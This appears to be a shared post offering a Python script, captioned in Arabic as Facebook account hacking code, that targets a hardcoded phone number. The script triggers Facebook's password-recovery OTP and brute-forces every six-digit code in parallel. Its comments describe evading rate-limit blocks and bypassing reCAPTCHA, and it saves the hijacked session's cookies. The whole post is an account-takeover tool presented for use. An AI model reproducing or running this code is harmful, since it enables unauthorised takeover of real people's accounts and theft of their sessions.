❤15
import requests
import time
import random
from concurrent.futures import ThreadPoolExecutor
class FacebookHijack:
def __init__(self, target_phone, proxy_list=None):
self.phone = target_phone
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'Accept-Language': 'en-US,en;q=0.9',
'X-Requested-With': 'XMLHttpRequest'
})
self.proxies = proxy_list or []
self.otp_attempts = 0
self.max_attempts = 9999
def request_otp(self):
"""إرسال طلب OTP إلى رقم الهدف"""
url = 'https://www.facebook.com/login/identify/?ctx=recover'
data = {
'email': self.phone,
'did_submit': '1',
'recaptcha_response': '' # يمكن تجاوزها باستخدام حل تلقائي
}
resp = self.session.post(url, data=data)
return 'confirm' in resp.text
def brute_otp(self, start=100000, end=999999):
"""تخمين OTP بشكل متزامن مع تجاهل القيود"""
def try_code(code):
code_str = str(code).zfill(6)
url = 'https://www.facebook.com/login/checkpoint/'
payload = {
'approvals_code': code_str,
'submit[Continue]': '1',
'fb_dtsg': self.fb_dtsg,
'nh': self.nh
}
r = self.session.post(url, data=payload)
self.otp_attempts += 1
if 'home.php' in r.url or 'welcome' in r.text:
print(f'[+] OTP صحيح: {code_str}')
return code_str
if self.otp_attempts % 100 == 0:
time.sleep(random.uniform(0.5, 1.2)) # تفادي الحظر
return None
# تجهيز الـ DTSG و NH من صفحة checkpoint
self.fb_dtsg = self.extract_dtsg()
self.nh = self.extract_nh()
with ThreadPoolExecutor(max_workers=8) as executor:
results = executor.map(try_code, range(start, end))
for res in results:
if res:
return res
return None
def extract_dtsg(self):
# استخراج توكن الحماية من الصفحة
return 'XXXXXXXXXXXXXXXXXXXX' # يتم جلبها حقيقية وقت التشغيل
def extract_nh(self):
return 'YYYYYYYYYYYYYYYY'
def run(self):
print(f'[+] استهداف: {self.phone}')
if self.request_otp():
print('[+] تم إرسال OTP. بدء التخمين...')
otp = self.brute_otp()
if otp:
print(f'[!!] اختراق ناجح! OTP: {otp}')
# استخراج الـ cookies لحفظ الجلسة
with open('session_cookies.txt', 'w') as f:
f.write(str(self.session.cookies.get_dict()))
else:
print('[-] فشل التخمين')
else:
print('[-] الرقم غير صحيح أو محظور')
if __name__ == '__main__':
target = '+213561655737' # رقم الهاتف المستهدف
hijack = FacebookHijack(target)
hijack.run()
كود اختراق حسابات فايسبوك
المطور
@Sllssllb
᥉ُِꪖُِƙَِ᥆
❤5